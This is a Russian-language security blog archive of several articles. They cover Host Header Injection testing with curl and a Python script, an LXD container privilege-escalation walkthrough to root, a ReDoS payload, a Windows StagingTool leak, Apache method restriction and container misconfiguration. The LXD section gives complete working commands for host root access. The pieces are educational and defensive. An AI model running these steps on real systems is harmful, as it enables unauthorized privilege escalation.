Архив метки: Закрытие уязвимостей

👀 Тестирование уязвимостей, связанных с инъекцией Host Header

В постоянно развивающейся сфере веб-безопасности одной из уязвимостей, потенциально способных поразить веб-приложения, является Host Header Injection.

Этот дефект возникает, когда веб-приложение или сервер не проверяют должным образом или не ограничивают заголовок Host во входящих HTTP-запросах, тем самым подвергая их вредоносной эксплуатации.

Независимо от того, являетесь ли вы разработчиком, специалистом по безопасности или просто любопытным человеком, понимание того, как обнаружить эту уязвимость, имеет первостепенное значение.

В данном руководстве мы рассмотрим как ручные, так и автоматизированные методы проверки уязвимостей Host Header Injection.

Как проверить уязвимость Host Header Injection

Тестирование уязвимости Host Header Injection заключается в отправке на сервер поддельных запросов и наблюдении за его поведением.

Вот как можно проверить эту уязвимость:

Ручное тестирование:

С помощью curl:

С помощью инструмента командной строки curl отправьте запрос с пользовательским заголовком Host.

curl -H "Host: malicious.com" http://yourdomain.com/

Понаблюдайте за ответом.

Если в ответе вы видите ссылки на malicious.com, сервер может быть уязвим.

Использование средств разработчика веб-браузера:

Большинство современных браузеров имеют инструменты разработчика, позволяющие проверять и модифицировать запросы.

  • Откройте инструменты разработчика браузера.
  • Перейдите на вкладку Сеть.
  • Создайте запрос к своему сайту.
  • Найдите запрос на вкладке “Сеть”, щелкните его правой кнопкой мыши и выберите “Редактировать и повторно отправить”.
  • Измените значение заголовка Host на другое и повторно отправьте запрос.
  • Проверьте ответ сервера на наличие признаков использования пользовательского хоста.

Использование прокси-инструментов:

Такие инструменты, как Burp Suite или OWASP ZAP, позволяют перехватывать и модифицировать HTTP-запросы.

  • Настройте прокси-инструмент на перехват трафика браузера.
  • Зайдите на тестируемый сайт.
  • Перехватите запрос и измените заголовок Host.
  • Перешлите запрос и проверьте ответ сервера.

👀 Выпущена версия archerysec v1.4: оценка и управление уязвимостями с открытым исходным кодом

 

import requests



target_url = 'http://yourdoamin.com/'

headers_list = [

    {'Host': 'malicious.com'},

    {'Host': 'example.com'},

    # ... add more headers as needed ...

]



for headers in headers_list:

    response = requests.get(target_url, headers=headers)

    if 'malicious.com' in response.text:

        print(f"Possible vulnerability found with header {headers['Host']}")

Замечания

Всегда убеждайтесь, что у вас есть права на тестирование. Никогда не проводите тестирование на системах, на которые у вас нет явного разрешения.

Обращайте внимание не только на HTML-содержимое, но и на все ссылки, заголовки и другие элементы, на которые может повлиять заголовок Host.

Влияние уязвимости не всегда проявляется в непосредственном ответе сервера.

Она может повлиять на журналы, электронную почту и другие внутренние процессы.

Даже если уязвимость нельзя использовать напрямую, иногда ее можно связать с другими уязвимостями для получения большего эффекта.

После устранения уязвимости всегда проводите повторное тестирование, чтобы убедиться в том, что она эффективно устранена.

После внесения исправлений всегда проводите повторное тестирование, чтобы убедиться в эффективности устранения уязвимости.

Заключение

Уязвимость Host Header Injection, хотя ее часто игнорируют, может иметь серьезные последствия, если ее не устранить.

Разработчикам и специалистам по безопасности необходимо ознакомиться с методиками тестирования, описанными в данном руководстве.

Запомните, что проактивный подход к обеспечению веб-безопасности не только гарантирует целостность приложений, но и доверие к ним со стороны пользователей.



2023-09-11T16:28:08
Закрытие уязвимостей

🐧 Неправильная конфигурация контейнеров Linux

В этой статье мы рассмотрим мир Linux-контейнеров (LXD/LXC) и их внутреннее устройство.

Кроме того, мы предоставим исчерпывающее руководство по настройке контейнера для целей тестирования, в том числе о том, что делать, если что-то пошло не так.

Самое главное – мы покажем, как злоумышленники могут использовать неправильно сконфигурированные контейнеры для получения системных привилегий, что подчеркивает острую необходимость обеспечения безопасности контейнеров.

В этой статье будут рассмотрены следующие темы:

  • Обзор Lxc и Lxd
  • Различия между Lxc и Lxd
  • Конфигурация Lxd
  • Неправильная настройка привилегий Lxd
  • Как использовать неправильно настроенный контейнер?

LXC

LXC, или Linux Containers, – это технология виртуализации на уровне операционной системы Linux.

Она позволяет запускать несколько независимых Linux-систем, называемых контейнерами, на одной хост-машине.

Каждый контейнер работает изолированно и имеет свою память, сетевые ресурсы и файловые системы.

Приложения контейнеров воспринимаются как работающие на отдельной физической машине.

LXC предлагает эффективный и действенный метод работы многих экземпляров Linux на одном хосте с минимальной деградацией и низкими накладными расходами.

Он востребован для развертывания приложений, тестирования систем, разработки и построения облачных инфраструктур.

LXC поддерживается ядром Linux и управляется с помощью различных инструментов, включая интерфейс командной строки LXC (CLI) и различные графические интерфейсы.

Она обладает гибкой и модульной архитектурой, позволяющей пользователям настраивать контейнеры в соответствии с их конкретными потребностями и требованиями.

LXD

LXD, сокращение от Linux Container Daemon, – это контейнерный гипервизор, позволяющий управлять контейнерами LXC с помощью удобного интерфейса.

Он использует технологию LXC и позволяет создавать системные контейнеры.

LXD оптимизирован для работы в Ubuntu и других дистрибутивах Linux, поддерживающих snap-пакеты.

LXD позволяет создавать, управлять и исполнять контейнеры с помощью REST API и интерфейса командной строки.

REST API позволяет программно управлять контейнерами, а интерфейс командной строки обеспечивает эффективное взаимодействие с контейнерами непосредственно из терминала.

LXD известен своей способностью к масштабированию и различными средствами защиты, которые предотвращают взлом контейнеров злоумышленниками.

Он предлагает такие высокотехнологичные средства защиты, как AppArmor и SELinux, позволяющие изолировать контейнеры и хосты.

Кроме того, LXD поддерживает живую миграцию контейнеров между хостами, что позволяет без проблем переносить рабочие нагрузки в различные среды.

В целом LXD – это мощный инструмент для управления Linux-контейнерами, упрощающий контейнеризацию и позволяющий пользователям безопасно и эффективно запускать приложения.

🔥 Реализация мандатного контроля доступа с помощью SELinux или AppArmor в Linux

Разница между LXC и LXD

LXC (Linux Containers) и LXD (Linux Container Daemon) – обе технологии, используемые для контейнеризации в Linux, но между ними есть некоторые различия:

  • LXC – это интерфейс пользовательского пространства для контейнерных функций ядра Linux, а LXD – это демон, предоставляющий RESTful API для управления контейнерами LXC.
  • LXC предназначен в первую очередь для создания и управления легкими системными контейнерами, в то время как LXD представляет собой полноценное решение для управления контейнерами, включающее такие функции, как живая миграция, кластеризация и управление хранением.
  • Кроме того, LXD предоставляет более удобный интерфейс командной строки и графический веб-интерфейс для управления контейнерами, в то время как LXC полагается на инструменты командной строки для управления.
  • LXD является более высокоуровневой абстракцией LXC, добавляющей такие функции, как управление образами контейнеров, создание моментальных снимков и управление сетью, в дополнение к основной функциональности LXC.

В итоге, если LXC обеспечивает основную функциональность контейнеризации в Linux, то LXD строится на ее основе и представляет собой полноценное решение для управления контейнерами с дополнительными возможностями и более удобным интерфейсом.

Настройка LxD

Теперь давайте выполним шаги по установке и настройке контейнера LXD в нашей системе.

Сначала с помощью утилиты ‘apt’ мы установим lxd и другие зависимости.

apt install lxd

apt install zfsutils-linux

После установки контейнера и его зависимостей мы можем запустить демон контейнера lxd с помощью команды ‘systemctl’.

systemctl start lxd

Неправильная настройка привилегий LXD

Для неправильной настройки контейнера создадим низкопривилегированного пользователя ‘pentest’ и дадим ему право управлять контейнерами lxd.

Создать пользователя можно с помощью команды ‘useradd’.

Команда ‘-p’ указывает пароль, ‘-s’ – shell и ‘-m’ – каталог пользователя, совпадающий с именем пользователя.

useradd -p ‘Password1’ -s ‘/bin/bash’ -m pentest

После создания пользователя мы можем использовать команду ‘usermod’ для добавления пользователя в группу lxd.

Это действие даст пользователю ‘pentest’ право на управление контейнерами.

usermod --append --groups lxd pentest

Мы также можем создать файл root.txt в корневом каталоге, чтобы проверить эксплойт, прочитав этот файл.

echo ‘We Got Root’ > root.txt

Пользователь pentest теперь является членом группы lxd

Теперь, используя эту неправильную конфигурацию, мы можем эксплуатировать систему и получить оболочку привилегированного пользователя.

Эксплуатация неправильно сконфигурированного контейнера

Первым шагом будет настройка нового пула хранения.

Для этого мы можем воспользоваться командой lxd init.

lxd init

Мы также можем проверить созданный нами пул хранения с помощью команды lxc.

lxc storage list

После создания пула хранения нам понадобится любой скомпилированный образ для контейнера lxd, который можно загрузить с GitHub.

В нашем сценарии хост-машина имеет доступ в Интернет, но если это не так, злоумышленник может сгенерировать собственный скомпилированный образ для lxd и передать его на хост-машину.

Давайте загрузим ‘lxd-alpine-builder’ и соберем образ.

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder/ 
./build-alpine

После выполнения приведенных выше команд мы скомпилировали образ для контейнера lxd.

Теперь необходимо импортировать скомпилированный образ в контейнер.

Мы можем использовать lxc для импорта образа в контейнер.

Здесь мы именуем образ alpine как ‘Myimage’.

lxc image import ./ alpine-v3.17-x86_64-20230302_1107.tar.gz --alias MyImage
lxc image list

Наш скомпилированный образ импортирован в контейнер.

Теперь мы выполним несколько команд lxc, чтобы настроить привилегии для нашего скомпилированного образа.

Нам необходимо создать контейнер с использованием импортированного образа (MyImage).

Для этого необходимо создать экземпляр образа контейнера (с именем Itsec), после чего можно назначить привилегии безопасности созданному экземпляру.

lxc init MyImage itsec -c security.privileged=true

Смонтируйте корневой каталог хост-машины ( / ) в качестве алиаса (HostDir) в контейнер lxd по пути ‘/mnt/’

lxc config device add itsec HostDir disk source=/ path=/mnt/root recursive=true

Запуск контейнера

lxc start itsec

Получим оболочку для контейнера lxd.

lxc exec itsec /bin/sh

Проверка целостности контейнера lxd

id 
Hostname

Мы получили доступ к нашему контейнеру lxd, и в приведенном выше статусе мы смонтировали корневой каталог хост-машины (/) в папку /mnt/ контейнера.

Оказавшись внутри контейнера, мы можем перейти в каталог /mnt/root и увидеть все ресурсы хост-машины.

Мы можем получить доступ к файлу root.txt, созданному ранее, подтвердив тем самым права root-доступа.

cd /mnt/root/root 
ls

В этом руководсте мы рассмотрели, как простая неправильная конфигурация контейнера lxd позволяет злоумышленнику скомпрометировать всю систему и получить root shell на хост-машине.



2023-09-08T14:43:40
Закрытие уязвимостей

💣 Что такое уязвимость Regex DoS

Regex DoS (ReDoS) – это подмножество DoS-атак, направленных на прикладной уровень и использующих неправильные регулярные значения для замедления работы сервера.

Это может происходить где угодно: на стороне сервера, клиента, базы данных или в любом промежуточном месте.

Где это может быть возможно:

  • Когда приложение имеет политику паролей.
  • Проверка адресов электронной почты, имен пользователей и т.д.

Как обнаружить:

  • Ввод недопустимой управляющей последовательности, например m
  • Ввод сообщения типа “(.+)+u0001”.

Проверить можно тут – ReDoS Checker (surge.sh)

см. также:



2023-08-22T13:36:31
Закрытие уязвимостей

Утечка Microsoft раскрыла секретные функций Windows 11

В недавнем, уже удаленном сообщении на Feedback Hub, где обсуждалась новая функция настройки в Windows 11, Microsoft случайно раскрыла подробности о скрытом приложении «StagingTool». Этот инструмент командной строки, используемый в основном инженерами Microsoft, позволяет разблокировать скрытые функции в операционной системе.

По информации сайта ITShaman.ru, компания раскрыла подробности о приложении в сообщении под названием «Sign in without a password when my device powers on». Как следует из названия, в сообщении обсуждалась функция, позволяющая пользователям получать доступ к системе сразу после включения без необходимости вводить пароль, и разработанная для пользователей из Китая.

Хотя основное внимание в сообщении Feedback Hub было уделено новой функции «Вход без пароля», наше внимание привлекло упоминание Microsoft о «StagingTool».

Знакомьтесь: StagingTool, секретное приложение Microsoft для тестирования функций Windows 11

Объясняя шаги по включению новой функции настроек, Microsoft раскрыла, как можно активировать функции с помощью StagingTool. Эти шаги предназначались для внутренних тестеров Microsoft, но компания случайно опубликовала их на общедоступной платформе и позже удалила сообщение.

StagingTool предназначен для использования разработчиками и инженерами Microsoft, а не для обычных потребителей. Для его использования необходимо иметь навыки работы с инструментами командной строки и средами тестирования, поскольку при случайном включении некоторых функций устройство может выйти из строя.

Утечка инструкций Microsoft для StagingTool показала, что он используется для включения двух функций: „Autologin after Restart“ и „Moment_Feature_Sept23“.

Как использовать StagingTool

Для включения этих функций, по словам Microsoft, необходимо установить StagingTool с внутреннего сайта Microsoft. После установки StagingTool можно включить функции, выполнив определенные команды в терминале.

В StagingTool используются различные команды для работы с функциями, включая их включение или отключение, запрос информации о них и возврат к состоянию по умолчанию.

Каждая команда выполняется путем добавления ключевого слова после «StagingTool.exe» в строке терминала. Например, чтобы включить функцию, нужно набрать «StagingTool.exe /enable «, где – идентификатор функции, которую необходимо включить.

Другие доступные команды включают /disable для отключения конкретной функции, /query для запроса информации о функции, /reset для возврата функции в состояние по умолчанию и /setvariant для выбора варианта используемой функции.

Некоторые команды, такие как /testmode/telemetry и /trace, имеют специальное назначение, например, отправка дополнительной телеметрии или трассировка использования функции в коде в реальном времени.

Утилита также предоставляет команды для управления состояниями переопределения функции Boot time, их восстановления и даже для автономного обновления виртуальных жестких дисков (VHD) перед первой загрузкой с помощью /serialize.

Хотя все это может показаться сложным для обычных пользователей, для энтузиастов и разработчиков, которым удобно работать с инструментами командной строки, StagingTool предоставляет удобный способ поиска и управления скрытыми возможностями Windows 11.

В данном случае команды StagingTool.exe /enable 44552141 и StagingTool.exe /enable 42105254 предназначены для включения функций Autologin after Restart и Sept23.

Здесь StagingTool.exe – это исполняемый файл StagingTool, /enable – операция, которую должен выполнить StagingTool, а 44552141 и 42105254 – идентификаторы (Feature IDs) функций, которые должны быть включены.

Наконец, функция «Автологин после перезапуска», как отмечается, специально разработана для соответствия китайским нормам и доступна только для локальных пользователей и пользователей Microsoft Account (MSA).

Эта функция позволяет пользователям входить в систему без ввода пароля при запуске устройства, что может быть особенно полезно для оптимизации рабочих процессов и экономии времени. Для активации этой функции в реестре необходимо установить значение «zh» для параметра «ActivePolicyCode».

Утечка также подтвердила, что Microsoft использует кодовые имена «Moment» для обновлений функций Windows 11.

Источник информации.



2023-08-08T08:15:45
Закрытие уязвимостей

🌐 Как разрешить в Apache только методы GET и POST

Apache HTTP Server, в просторечии называемый Apache, – одна из самых популярных и широко используемых в мире программных систем для веб-серверов.

Он обладает множеством возможностей, в том числе возможностью ограничения доступа к ресурсам на основе методов HTTP.

Это может быть особенно важно в тех случаях, когда по соображениям безопасности или логики работы приложения необходимо разрешить только определенные типы HTTP-запросов, например GET и POST.

В этой статье мы рассмотрим, как настроить веб-сервер Apache на разрешение только методов GET и POST.

Для этого необходимо отредактировать конфигурационный файл Apache, который может быть либо httpd.conf, либо apache2.conf, либо файл .htaccess, расположенный в каталоге с веб-ресурсами, которые необходимо защитить.

Примечание: Приведенные в данной статье инструкции предполагают, что у вас уже есть работающий сервер Apache.

Если это не так, то сначала необходимо установить и настроить Apache.

Шаги по ограничению методов GET и POST на Apache:

  1. Найдите конфигурационный файл

Расположение конфигурационного файла Apache зависит от операционной системы и способа установки.

Обычно он находится в каталоге /etc/apache2/ для систем Ubuntu/Debian и в каталоге /etc/httpd/ для систем CentOS/RHEL.

Например:

/etc/apache2/apache2.conf # Ubuntu/Debian



/etc/httpd/conf/httpd.conf # CentOS/RHEL

Кроме того, для контроля доступа к определенным каталогам можно использовать файл .htaccess.

Если его нет, то можно создать его в каталоге ресурсов, которые необходимо защитить.

  1. Редактирование файла конфигурации

С помощью текстового редактора (например, nano, vi, emacs) откройте и отредактируйте файл конфигурации.

sudo nano /etc/apache2/apache2.conf
Ubuntu/Debian $ sudo nano /etc/httpd/conf/httpd.conf  # CentOS/RHEL

  1. Настройка контроля доступа

Чтобы разрешить только методы GET и POST, добавьте в файл следующий блок конфигурации.

Этот блок может быть размещен внутри тега для контроля, специфичного для каталога, или внутри тега для контроля, специфичного для местоположения.

<Directory "/var/www/html">

  <LimitExcept GET POST>

     Deny from all

  </LimitExcept>

</Directory>

В этом блоке вместо /var/www/html должен быть указан путь к директории, которую вы хотите ограничить.

Директива <LimitExcept> разрешает перечисленные методы (GET, POST) и запрещает все остальные.

  1. Сохранить изменения и выйти

После добавления необходимых настроек сохраните изменения и выйдите из текстового редактора.

Если вы используете nano, то это можно сделать, нажав Ctrl+X, затем Y для подтверждения сохранения изменений и, наконец, Enter для подтверждения имени файла для записи.

  1. Перезапустить Apache

Последний шаг – перезапуск Apache для применения изменений.

В зависимости от системы можно воспользоваться одной из следующих команд:

sudo systemctl restart apache2 # Ubuntu/Debian sudo systemctl restart httpd  # CentOS/RHEL

Теперь ваш сервер Apache должен разрешать только HTTP-запросы GET и POST к указанной директории.

Любые другие HTTP-методы, такие как PUT, DELETE, OPTIONS и т.д., будут запрещены.

Обратите внимание: методы, описанные в этой статье, предназначены для серверов с полным контролем и доступом к конфигурационным файлам.

Если вы используете тарифный план виртуального хостинга, то, возможно, у вас нет такого уровня доступа.

Обратитесь за помощью к своему хостинг-провайдеру или системному администратору.

см. также:

 



2023-07-24T15:11:40
Закрытие уязвимостей

🐳 Популярные ошибки в конфигурации, которые делают контейнерные приложения уязвимыми для атак

С учетом того, что сегодня число интернет-пользователей поражает воображение, а сами веб-приложения выполняют больше задач, чем когда-либо в прошлом, масштабирование, поддержка и разработка крупных веб-приложений стали серьезной проблемой для команд DevOps.

Теперь, когда приложения масштабируются в нескольких публичных облаках с использованием различных технологических стеков, для их поддержки и развертывания требуются современные решения.

Итак, мы продолжаем статью 🦊 Современное состояние безопасности CI/CD и как предотвратить распространенные ошибки

Среди них популярны контейнерные приложения, обычно использующие такие технологии, как Docker.

Дальнейшее масштабирование стало возможным с появлением таких технологий, как Kubernetes.

Контейнерные приложения позволяют DevOps-командам поддерживать контейнеры с определенными конфигурациями и версиями приложений.

Эта практика также позволяет командам DevOps реплицировать их столько раз, сколько необходимо, и все это в автоматическом режиме.

Сочетание таких технологий, как Kubernetes (которая сделала развертывание, масштабирование и обслуживание контейнерных приложений очень простым) и Docker, зарекомендовало себя как решение для удовлетворения требований современных приложений, что привело к значительному росту их популярности в последнее время.

Однако внедрение новых технологий всегда чревато новыми ошибками и уязвимостями.

Поэтому такой риск требует такого же внимания, как и ручное развертывание, чтобы избежать наплыва уязвимостей, проникающих в ваше контейнерное и автоматизированное развертывание.

Какие популярные ошибки в конфигурации делают контейнерные приложения уязвимыми для атак?

Наиболее распространенным источником уязвимостей в таких технологиях, как Docker, Kubernetes и других технологиях автоматизации, таких как SaltStack, Ansible и Puppet, являются устаревшие версии программного обеспечения, а также отсутствие процедур усиления безопасности и надлежащего анализа конфигурации.

Права

Одна из самых основных форм неправильной конфигурации в Docker связана с повышением прав пользователя.

В таких случаях контейнеры Docker, запускаемые от имени root, представляют гораздо более серьезную угрозу безопасности, чем контейнеры, запускаемые не от имени root.

🐳 Почему процессы в контейнерах Docker не должны запускаться от имени Root

Если контейнер запускается под пользователем root и существуют уязвимости безопасности для данной версии Docker, то, например, в прошлом существовали уязвимости, которые позволяли злоумышленникам проникнуть на хост через уязвимое или неправильно сконфигурированное программное обеспечение, запущенное в самом контейнере.

🐳 Что такое Docker без root (rootless)?

Такое уязвимое программное обеспечение также позволяло злоумышленникам выйти из контейнера и проникнуть на хост-сервер, на котором запущен контейнер.

Именно поэтому настоятельно рекомендуется запускать контейнеры под управлением пользователей с нужным количеством разрешений и доступа.

Docker поддерживает работу в режиме пользователя rootless/non-root, что позволяет значительно повысить уровень безопасности, конфигурацию которого можно увидеть в официальном руководстве по Docker.

Безопасность данных/конфигурации

Место хранения данных – важный момент при работе с контейнерами, такими как Docker, как и знание того, что хранение данных внутри контейнеров часто имеет больше недостатков, чем преимуществ.

Настоятельно рекомендуется хранить любые пользовательские данные вне контейнера; в случае обнаружения уязвимостей контейнер можно уничтожить, обновить и развернуть из чистого состояния.

Это позволяет автоматизировать работу с CVE, поскольку данные не находятся внутри контейнера.

Хранение учетных данных – еще одна частая ошибка конфигурации.

Как и в случае с хранением данных, рекомендуется избегать хранения учетных данных внутри самого контейнера, чтобы в случае возникновения уязвимости контейнер можно было легко обновить и снова запустить без утечки учетных данных.

Монтирование данных вне контейнера легко выполняется с помощью Docker.

Рассмотрим следующую команду Docker run:

docker run -dp 3000:3000 -v todo-db:/etc/todos getting-started

В этом примере данные хранятся вне контейнера по пути /etc/todos – таким образом, контейнер работает независимо, позволяя создавать, уничтожать или перемещать контейнер, сохраняя данные как есть и в отдельном пути.

Автоматизация безопасности

Такие технологии, как Ansible, SaltStack и Puppet, используются для автоматизации задач, которые необходимо выполнять на большом количестве серверов.

Эти технологии используют файлы конфигурации, называемые “плейбуки”, которые содержат информацию о том, что и где должно быть выполнено.

Для работы этих плейбуков необходим доступ к серверам через SSH или аналогичный доступ на уровне консоли.

Однако выполнение этих  задачот имени root и/или хранение паролей root в открытом виде в этих конфигурациях может привести к инцидентам, связанным с безопасностью, в случае утечки конфигураций.

Рассмотрим следующий пример.

Чтобы установить MySQL с помощью Ansible:

- hosts: webservers

  user: vagrant

  sudo: true

  vars_files:

    - vars.yml



  tasks:

    - name: Install MySQL

      action: apt pkg=$item state=installed

      with_items:

        - mysql-server-core-5.5

        - mysql-client-core-5.5

        - libmysqlclient-dev

        - python-mysqldb

        - mysql-server

        - mysql-client



    - name: Start the MySQL service

      action: service name=mysql state=started



    - name: Remove the test database

      mysql_db: name=test state=absent



    - name: Create deploy user for mysql

      mysql_user: user="deploy" host="%" password={{mysql_root_password}} priv=*.*:ALL,GRANT



    - name: Ensure anonymous users are not in the database

      mysql_user: user='' host=$item state=absent

      with_items:

        - 127.0.0.1

        - ::1

        - localhost



    - name: Copy .my.cnf file with root password credentials

      template: src=templates/.my.cnf dest=/etc/mysql/my.cnf owner=root mode=0600



    - name: Update mysql root password for all root accounts

      mysql_user: name=root host={{item}} password={{mysql_root_password}}

      with_items:

        - 127.0.0.1

        - ::1

        - localhost

Как показано выше, мы можем использовать Ansible для установки определенной версии MySQL (5.5), запуска службы, удаления всех тестовых баз данных, добавления пользователя, удаления всех анонимных пользователей, копирования существующего файла my.cnf и обновления пароля root.

Поскольку пароль root MySQL, различная другая конфиденциальная информация (например, версия MySQL) и имя развернутого пользователя MySQL хранятся прямо в конфигурационном файле, безопасность становится насущной проблемой.

Раскрытие конфигурации/файлов

Конфигурация/файлы Docker могут быть идеальной демонстрацией такого рода неправильной конфигурации.

Давайте рассмотрим пример базового официального файла Docker compose (docker-compose.yml), используемого для установки WordPress с MySQL:

version: "3.9"



services:

  db:

    image: mysql:5.7

    volumes:

      - db_data:/var/lib/mysql

    restart: always

    environment:

      MYSQL_ROOT_PASSWORD: somewordpress

      MYSQL_DATABASE: wordpress

      MYSQL_USER: wordpress

      MYSQL_PASSWORD: wordpress



  wordpress:

    depends_on:

      - db

    image: wordpress:latest

    volumes:

      - wordpress_data:/var/www/html

    ports:

      - "8000:80"

    restart: always

    environment:

      WORDPRESS_DB_HOST: db

      WORDPRESS_DB_USER: wordpress

      WORDPRESS_DB_PASSWORD: wordpress

      WORDPRESS_DB_NAME: wordpress

volumes:

  db_data: {}

  wordpress_data: {}

Здесь мы видим, что MySQL 5.7 установлен из последнего образа WordPress, доступного на Docker Hub, а также пароль корня MySQL, имя базы данных, имя пользователя и пароль пользователя.

Поскольку конфигурация контейнера Docker перечисляется в виде обычного/человекочитаемого текста, включая пароли к базе данных, пути к данным и файлам, необходимо убедиться не только в надежности хранения файлов, но и в том, что любая часть автоматизированных процессов развертывания обеззараживается при использовании для развертывания контейнеров.

Обнаружение подобных проблем с конфигурацией позволяет blue team предотвратить утечку конфиденциальных данных, которые впоследствии могут быть использованы для осуществления более сложных атак на облачную инфраструктуру.

Раскрытие Kubernetes

Rancher – это мультикластерная платформа оркестровки с открытым исходным кодом, которая позволяет операционным командам развертывать, управлять и обеспечивать безопасность корпоративных Kubernetes.

Это программное обеспечение для оркестрации часто становится жертвой неправильной конфигурации; например, учетные данные администратора по умолчанию часто полностью раскрываются, что, в свою очередь, используется злоумышленниками.

Раскрытие консоли Kubernetes

Консоль Kubernetes (или дашборд) является важной частью настройки Kubernetes.

Она позволяет получить полный обзор всех контейнеров, управляемых кластером Kubernetes, включая их состояние, использование памяти, других ресурсов, а также различные функции управления.

Раскрытие этой консоли может привести к различным типам атак.

В прошлом открытые консоли использовались для организации майнинга криптовалюты, что может привести к финансовым потерям и замедлению работы приложений из-за потребления ресурсов процессами майнинга криптовалюты.

Раскрытие Kubernetes Kustomization

Инструмент Kubernetes Kustomization используется для настройки объектов Kubernetes с помощью файла “Kustomization”.

Со страницы проектов Kustomize позволяет настраивать необработанные, свободные от шаблонов YAML-файлы для различных целей, оставляя исходный YAML нетронутым и пригодным для использования как есть.

В свою очередь, такая возможность настройки конфигураций делает новые файлы Kustomization довольно мощными, позволяя объединять различные существующие файлы конфигурации Kubernetes.

Однако доступ к этим файлам может привести к утечке большого количества конфиденциальных данных из вашей организации, поэтому очень важно обеспечить постоянную безопасность и дезинфекцию этих файлов.

А как насчет уязвимостей программного обеспечения для оркестрации контейнеров?

Правильная настройка этих инструментов необходима для обеспечения безопасности развертывания контейнерных приложений.

В конце концов, недостатки безопасности в этих инструментах могут быть как простыми, например, приборная панель позволяет обходить аутентификацию, так и сложными, например, приборная панель имеет уязвимости безопасности, позволяющие проводить инъекционные атаки shell.

Учитывая  уязвимость CVE-2020-16846, затрагивающую SaltStack Salt, программное обеспечение для управления инфраструктурой и оркестровки контейнеров, CVE позволяла осуществлять атаки shell injection при отправке определенных веб-запросов к API SaltStack.

Проще говоря, поскольку уязвимости возможны в стеке управления вашей контейнерной инфраструктурой, безопасность всего вашего контейнерного приложения, вероятно, также находится под угрозой.

Заключение

Наряду с неизбежным переходом на контейнерные приложения, используемые в организациях для обеспечения более простого управления, быстрого развертывания и эффективного масштабирования веб-приложений, возникают определенные критические проблемы безопасности, которые часто упускаются из виду при рассмотрении различных преимуществ (а иногда и сложностей) управления этими кластерами контейнеров.

Хотя контейнеры доказали, что они помогают обеспечить согласованность, сократить время развертывания и другие проблемы, связанные с версиями и конфигурациями программного обеспечения для разработчиков и производственных инстансов, они также создают извечную проблему обеспечения правильной и безопасной конфигурации.

Это особенно актуально для конфигурационных файлов, содержащих детали, касающиеся каждого аспекта развертываемого программного обеспечения: пути к данным, пароли баз данных и другие учетные данные доступа.

 



2022-09-09T13:33:57
Закрытие уязвимостей